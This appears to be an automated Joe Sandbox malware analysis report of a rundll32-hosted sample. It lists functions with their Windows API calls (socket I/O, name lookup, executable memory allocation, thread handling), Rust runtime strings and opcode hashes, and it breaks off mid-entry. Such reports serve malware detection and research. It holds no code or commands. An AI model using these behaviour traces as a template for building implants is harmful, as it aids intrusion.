SetEvent.KERNEL32(00000001), ref: 04202D63

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: d4421ab24fb5a5b6c6ece570ade8b520a91f6227870ba5fea325cee57ca639b2
Instruction ID: 34776c5b82fa2321ae21a8ddfd518f5d4b3a7f99fe612ced480b1a0d8212d370
Opcode Fuzzy Hash: d4421ab24fb5a5b6c6ece570ade8b520a91f6227870ba5fea325cee57ca639b2
Instruction Fuzzy Hash: B5F03C76200700BBD3209F98EC4DB5677B8FB89B11F104699F68297690CAB4B9448BE0

Function 6CC57EF1 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 449networkCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBF58F1: memmove.VCRUNTIME140(?,00000000,00000000,00000000,00000000,?,00000020,?,6CC2F033,stream closed because of a broken pipesend_close: unexpected state ,00000026), ref: 6CBF5916

setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 6CC584BE
WSAGetLastError.WS2_32(?,00000004,?,?,00000002,6CC0288D,?,?,6CCB5F8C,6CCB5F64), ref: 6CC584CB

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CC583C2, 6CC5847D
A Tokio 1.x context was found, but it is being shutdown.the timer is shutdown, must be called from the context of Tokio runtimetimer is at capacity and cannot create a new entrytimer duration exceeds maximum durationdeadline has elapsedD:\rust\cargo\registry\s, xrefs: 6CC57F5F

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ErrorLastmemmovesetsockopt
String ID: A Tokio 1.x context was found, but it is being shutdown.the timer is shutdown, must be called from the context of Tokio runtimetimer is at capacity and cannot create a new entrytimer duration exceeds maximum durationdeadline has elapsedD:\rust\cargo\registry\s$called `Result::unwrap()` on an `Err` value
API String ID: 1441254279-3286110522
Opcode ID: 79790b70de6aa19326fe846280581a06ced08451e058eb014dc20e4838e6d6c4
Instruction ID: 3124441ed55809479c73672667a23278cc4b8ae2d02a4052fa1a658e2cf8684c
Opcode Fuzzy Hash: 79790b70de6aa19326fe846280581a06ced08451e058eb014dc20e4838e6d6c4
Instruction Fuzzy Hash: 4602C0B06587408FD314CF25C480B5ABBF0BF89318F50892EE9998B791EB74D869CF46

Function 6CC584E7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 175networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,00000000), ref: 6CC58593
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC585A0

Strings

filled overflowfilled must not become larger than initialized, xrefs: 6CC58700

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ErrorLastrecv
String ID: filled overflowfilled must not become larger than initialized
API String ID: 2514157807-3814584485
Opcode ID: cd834f0718c1be4b623b1a102edfde7bcacbd515e423b00628137acfb57050e9
Instruction ID: 281ff3ad627dd0a5ec5a9d58af8690c41f6c6edc3078f3315d8b6eb3a682202b
Opcode Fuzzy Hash: cd834f0718c1be4b623b1a102edfde7bcacbd515e423b00628137acfb57050e9
Instruction Fuzzy Hash: BF618DB05593409FD700CF15C580A1AFBE1BF88314F948A5EF5988B790EB71D869CB8A

Function 6CC100A8 Relevance: 5.2, APIs: 4, Instructions: 171COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000158), ref: 6CC100B6
memmove.VCRUNTIME140(?,?,00000158), ref: 6CC100D9
memmove.VCRUNTIME140(?,?,00000158), ref: 6CC10198
memmove.VCRUNTIME140(?,?,000001B0), ref: 6CC101BB

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 4031d680bf5d71de12617f3313b9a805d4526c04c56a0840d3d2cecbafeb855a
Instruction ID: 4fe49241b3e7cbb9ea35226c8907d33eeef80d990e2d8436174b1ddb1696454e
Opcode Fuzzy Hash: 4031d680bf5d71de12617f3313b9a805d4526c04c56a0840d3d2cecbafeb855a
Instruction Fuzzy Hash: 7A51173164C384DFCB01DB65C850AEEBBE5BF95354F088859E8C94BB41E730D869D792

Function 6CC0186F Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CBEB679: WSASocketW.WS2_32(00000002,00000001,00000006,00000000,00000000,00000081), ref: 6CBEB6BC
Part of subcall function 6CBEB679: ioctlsocket.WS2_32(?,8004667E,?), ref: 6CBEB6DA
Part of subcall function 6CBEB679: closesocket.WS2_32(?), ref: 6CBEB9F0

memmove.VCRUNTIME140(?,?,00000110,?,?,6CCB5F8C,6CCB5F64), ref: 6CC02202
memmove.VCRUNTIME140(?,?,00000110,?,?,?,?,?,6CCB5F8C,6CCB5F64), ref: 6CC0222D

Strings

cannot poll Select twice, xrefs: 6CC020FC

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove$Socketclosesocketioctlsocket
String ID: cannot poll Select twice
API String ID: 3048605929-3773267893
Opcode ID: 88eab26839bc5982d738a903d031c578eac12291280153d7fa582554f5831f7c
Instruction ID: 0e19070b46a5a1de58175b201fb9e4776c26bdf92a50f5e21c031c39e0596d9e
Opcode Fuzzy Hash: 88eab26839bc5982d738a903d031c578eac12291280153d7fa582554f5831f7c
Instruction Fuzzy Hash: 1041BD31A08B44CBC751CF69C4909ABB7F1FF9A354F10895EE8992F611EB31E485CB92

Function 04DB3160 Relevance: 4.6, APIs: 3, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 04DB316B
InterlockedExchange.KERNEL32(?,00000001), ref: 04DB3183
GetCurrentThreadId.KERNEL32 ref: 04DB322F

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: CurrentThread$ExchangeInterlocked
String ID:
API String ID: 4033114805-0
Opcode ID: 48991f1146cabb514189fb7839d4c4e252bea761e71b0e312975d77e65472408
Instruction ID: 2b2aa7022b78811a3bdbf9b50d0b4c818dd0b68b3d161b44d6f993dc0cf45adc
Opcode Fuzzy Hash: 48991f1146cabb514189fb7839d4c4e252bea761e71b0e312975d77e65472408
Instruction Fuzzy Hash: B7313671200602DFD718DF69C994AAAB3E9FF44748B10C52DE89B8B715E731F841DB90

Function 04203140 Relevance: 4.6, APIs: 3, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0420314B
InterlockedExchange.KERNEL32(?,00000001), ref: 04203163
GetCurrentThreadId.KERNEL32 ref: 0420320F

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: CurrentThread$ExchangeInterlocked
String ID:
API String ID: 4033114805-0
Opcode ID: 88f87101ce69337421600af4abb42716e1b11e699cf57e886a06ef23dbb3e8dd
Instruction ID: ce23757db7fd66b44d275e5b2b128d3b3c2cc4f7fddac5f228ea9f71bf28340f
Opcode Fuzzy Hash: 88f87101ce69337421600af4abb42716e1b11e699cf57e886a06ef23dbb3e8dd
Instruction Fuzzy Hash: BE316D70320606AFD718DF69C884A6AF7E5FF48718B10C52DE81ACB696D771F851CB90

Function 6CC4F440 Relevance: 4.6, APIs: 3, Instructions: 86networkCOMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CC4F485
getaddrinfo.WS2_32(?,00000000,?,?), ref: 6CC4F4F0
WSAGetLastError.WS2_32 ref: 6CC4F4FD

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ErrorLastgetaddrinfomemmove
String ID:
API String ID: 1338285005-0
Opcode ID: 006f3ca19f2a41b0710ff26df313ff6b9a3a3e442b3e74593f9fdf8403a4e4b1
Instruction ID: a8346b0f7e5f82f72a80d1bbd949c71d808175c130ed76185d59fa045a4cb1d6
Opcode Fuzzy Hash: 006f3ca19f2a41b0710ff26df313ff6b9a3a3e442b3e74593f9fdf8403a4e4b1
Instruction Fuzzy Hash: A9316CB1E002099FDB10CF95D980BEEBBB4FF45314F14C569E889A7740E774A985CBA1

Function 04DB52C0 Relevance: 4.6, APIs: 3, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(00000008), ref: 04DB530C
SysFreeString.OLEAUT32(00000000), ref: 04DB5321
SysAllocString.OLEAUT32(04DD5148), ref: 04DB5372

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: String$AllocDecrementFreeInterlocked
String ID:
API String ID: 3605875487-0
Opcode ID: 21635bb4bdc66154c805e526087790a04675ef61b3f5c0bc2f2fce173df8341b
Instruction ID: ae681b9babe87a4a95798c9e7225a5be5c767c35489b810e1c09a31688a1593b
Opcode Fuzzy Hash: 21635bb4bdc66154c805e526087790a04675ef61b3f5c0bc2f2fce173df8341b
Instruction Fuzzy Hash: FD318F71A01755EBEB209FA4D890B9A77A8FF04B18F444669EC96DB340D7B5F900CBD0

Function 6CC64964 Relevance: 4.6, APIs: 3, Instructions: 81COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(?,?,00000004,000000FF), ref: 6CC649D7
GetLastError.KERNEL32 ref: 6CC649DE

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressErrorLastWait
String ID:
API String ID: 1574541344-0
Opcode ID: 6bc4fa9642e8203db52c6f44d8c8b135ab49e7556db700e6fdadd364c5fa277f
Instruction ID: abcff6106ee36c7415d504522304ba7603a872fbcf1080bbb6fb62de4d288067
Opcode Fuzzy Hash: 6bc4fa9642e8203db52c6f44d8c8b135ab49e7556db700e6fdadd364c5fa277f
Instruction Fuzzy Hash: 1E21F071A4021A9FDF05CF56C9E07AD7BB1FB86318F144128E102BBF40E7389842CB54

Function 04DB11B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 04DB11E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04DB1226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04DB1255

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 467471f3b21175756d949a039a2048d644e77935162841952bed21ccd6597b8e
Instruction ID: 867be1d37922cd65f896854478702786b2f7c261c9af600fc6979c6ef64ad0cd
Opcode Fuzzy Hash: 467471f3b21175756d949a039a2048d644e77935162841952bed21ccd6597b8e
Instruction Fuzzy Hash: 86219271B00709EFDB149FA9E855BAEBBF4FF40745F0085ADE88AD2640EA30B8108754

Function 042011B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 042011E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04201226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04201255

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 6503f2d9b2a37e47294090aeef3f8ac1f52b14b21d70e06afffed11013794ef0
Instruction ID: 71100dc4e6fb5630e545d3b5cb0b1e38d973854c76ef305c7fe1df32efd0172f
Opcode Fuzzy Hash: 6503f2d9b2a37e47294090aeef3f8ac1f52b14b21d70e06afffed11013794ef0
Instruction Fuzzy Hash: BB21C271B10209AFDB149FADE985B6EF7F4EF84705F00C5A9E849D3681EA31B8508740

Function 04DB1100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 04DB112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04DB115F
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04DB1192

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 2b2a30ec812d41eba3aa7e98bbb5c7b79acd44f28e5340304c06720157bd7d85
Instruction ID: d6eed520a2a9d8ae876fc77db7fa6565b4bf6c70bfa3340701dab92148ca2310
Opcode Fuzzy Hash: 2b2a30ec812d41eba3aa7e98bbb5c7b79acd44f28e5340304c06720157bd7d85
Instruction Fuzzy Hash: F7119370A00709EFDB109FA9DC95B6EFBF8FF04785F1085A9E99AE2340E674A9108754

Function 04201100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0420112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0420115F
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04201192

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: f8093aaef2773a4b5cec0e9cab6c0a1505d64c174b481dd90ce5d5cd269a51b1
Instruction ID: daec0243587e34aa40de75fc20f96ed6cae628394af91b9d066d47db1d8f4566
Opcode Fuzzy Hash: f8093aaef2773a4b5cec0e9cab6c0a1505d64c174b481dd90ce5d5cd269a51b1
Instruction Fuzzy Hash: F911D370B10309AFEB149FA9D886B6EFBF8FF44705F0084A9ED59D3281E675A850C750

Function 6CBC5AF0 Relevance: 4.5, APIs: 3, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,?,6CC48F66,?,?,?,?,?,6CC48F66,?,?,?,?,?), ref: 6CBC5B0E
memmove.VCRUNTIME140(00000000,?,6CC48F66,?,?,?,?,?,6CC48F66,?,?,?,?,?), ref: 6CBC5B44
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,6CC48D0C,?,?,?,00000077), ref: 6CBC5B57

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: Heap$AllocateFreememmove
String ID:
API String ID: 94897913-0
Opcode ID: 760e99beb83d4a1e3f8fd0f9d49ecd2fdd633788b5b5ebd09bae2d8beaa2ef2d
Instruction ID: 72b82fd31208fe839d82664adfda14ad7695adf9f0076e0b8fbcf7d1acd673e9
Opcode Fuzzy Hash: 760e99beb83d4a1e3f8fd0f9d49ecd2fdd633788b5b5ebd09bae2d8beaa2ef2d
Instruction Fuzzy Hash: 46014471704204AFDB159F6ACC84E6FBFBAEF86258F058039F94AC3201E7325519C666

Function 04DB9D30 Relevance: 4.5, APIs: 3, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 04DB9D54
GdipDisposeImage.GDIPLUS(?), ref: 04DB9D68
GdipDisposeImage.GDIPLUS(?), ref: 04DB9D8B

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Gdip$DisposeImage$BitmapCreateFromStream
String ID:
API String ID: 800915452-0
Opcode ID: 640793cb6a025a27e7128918f7fc80997f84d28241fd7bd6d9d57293b71c33f5
Instruction ID: 4f85e120443b873db51b028adcd61fdff5c01d36b0662f24f513b7c01e2799af
Opcode Fuzzy Hash: 640793cb6a025a27e7128918f7fc80997f84d28241fd7bd6d9d57293b71c33f5
Instruction Fuzzy Hash: E1F044B1901229E78F10EF94D8548EEF778FB45715B00459EED46A7340D634AE15CBE1

Function 04DB9A20 Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(04DDFB64), ref: 04DB9A3C
GdiplusStartup.GDIPLUS(04DDFB60,?,?), ref: 04DB9A75
LeaveCriticalSection.KERNEL32(04DDFB64), ref: 04DB9A86

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterGdiplusLeaveStartup
String ID:
API String ID: 389129658-0
Opcode ID: 32364f53bbec542dfa46894e0da8eaf05fc9fad271b2d22dc5b4bd6ef4a023e1
Instruction ID: 96379296e4eb6ce866a9b35a0a59e775907476cf2c2a2ab7c439cee83bdfaa60
Opcode Fuzzy Hash: 32364f53bbec542dfa46894e0da8eaf05fc9fad271b2d22dc5b4bd6ef4a023e1
Instruction Fuzzy Hash: CCF0F671982209DFCB009F91E8797EA7BB8FB04301F40018DE54646240C7B62548CFE1

Function 04207316 Relevance: 4.5, APIs: 3, Instructions: 11threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 0420731B

Part of subcall function 042099BA: GetLastError.KERNEL32(?,7FFFFFFF,042072D2,0420AF17,00000010,?,?,?,?,?,?,0420AF67,?,?,AC6D425D,00000000), ref: 042099BE
Part of subcall function 042099BA: ___set_flsgetvalue.LIBCMT ref: 042099CC
Part of subcall function 042099BA: __calloc_crt.LIBCMT ref: 042099E0
Part of subcall function 042099BA: DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,0420AF67,?,?,AC6D425D,00000000,?,0420772F,?,00000000), ref: 042099FA
Part of subcall function 042099BA: GetCurrentThreadId.KERNEL32 ref: 04209A10
Part of subcall function 042099BA: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,0420AF67,?,?,AC6D425D,00000000,?,0420772F,?,00000000), ref: 04209A28

__freeptd.LIBCMT ref: 04207325

Part of subcall function 04209B7C: TlsGetValue.KERNEL32(?,?,0420732A,00000000,?,04207356,00000000), ref: 04209B9D
Part of subcall function 04209B7C: TlsGetValue.KERNEL32(?,?,0420732A,00000000,?,04207356,00000000), ref: 04209BAF
Part of subcall function 04209B7C: DecodePointer.KERNEL32(00000000,?,0420732A,00000000,?,04207356,00000000), ref: 04209BC5
Part of subcall function 04209B7C: __freefls@4.LIBCMT ref: 04209BD0
Part of subcall function 04209B7C: TlsSetValue.KERNEL32(0000001C,00000000,?,0420732A,00000000,?,04207356,00000000), ref: 04209BE2

ExitThread.KERNEL32 ref: 0420732E

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: Value$DecodeErrorLastPointerThread$CurrentExit___set_flsgetvalue__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 4224061863-0
Opcode ID: bb1d523a28579ee5e7d7efc6d0f7160f808ff53c430e52f9fdba2313a097b6af
Instruction ID: 8478592c6d64fe060bf451543bb5cfd9a76ab928474380d7789a00b7749394f2
Opcode Fuzzy Hash: bb1d523a28579ee5e7d7efc6d0f7160f808ff53c430e52f9fdba2313a097b6af
Instruction Fuzzy Hash: B6C08CB02102082AAB003725980C90BBAEDDA90214B848020680A820A3EE68F8818090

Function 046601CB Relevance: 3.3, APIs: 2, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 0466022B

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction ID: b7805215d0da00f6fa347e7edf0b2dfe7ef76fe2f27cd713c138538182bd8468
Opcode Fuzzy Hash: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction Fuzzy Hash: BDA13971A00606EFDB24CFA9C880AAEB7B5FF48705B148179E416EB751E770FA51CB90

Function 04DB3360 Relevance: 3.2, APIs: 2, Instructions: 151timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(04DB30C5,?,?), ref: 04DB3413

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Timetime
String ID:
API String ID: 17336451-0
Opcode ID: a005c9cf2c78d8066fef6d6b724b0ce714012d0df4fa92b3b93f1e98242db0ef
Instruction ID: 5eb83add61afb5c64ff02843a93412312413103bfc466cd3c257c158381b9bc6
Opcode Fuzzy Hash: a005c9cf2c78d8066fef6d6b724b0ce714012d0df4fa92b3b93f1e98242db0ef
Instruction Fuzzy Hash: 5551AD72700605EFD711DEA9C8D09AAB7A9FF84254714826CED9B8B705EB31FC419BE0

Function 6CC58739 Relevance: 3.1, APIs: 2, Instructions: 128networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,00000000), ref: 6CC587B8
WSAGetLastError.WS2_32 ref: 6CC587D1

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ErrorLastsend
String ID:
API String ID: 1802528911-0
Opcode ID: 18f7d03278f3b69eeb5389b041fe32cbc1f4be5d6f365821946593192b849ae5
Instruction ID: 1463815e378ab537688f14b80c84fb35e6adaa52a6ae2301b4730a9232ec4693
Opcode Fuzzy Hash: 18f7d03278f3b69eeb5389b041fe32cbc1f4be5d6f365821946593192b849ae5
Instruction Fuzzy Hash: 4B5179715593409FC701DF19C480A4AFBF1FF89328F548A1EE5A88B791E330D969CB5A

Function 6CBF59E4 Relevance: 3.1, APIs: 2, Instructions: 105COMMON

Download Yara Rule

APIs

GetQueuedCompletionStatusEx.KERNEL32(?,?,?,?,-00000001,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CBF5AB6
GetLastError.KERNEL32(?,-00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC58A83,?), ref: 6CBF5AD1

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

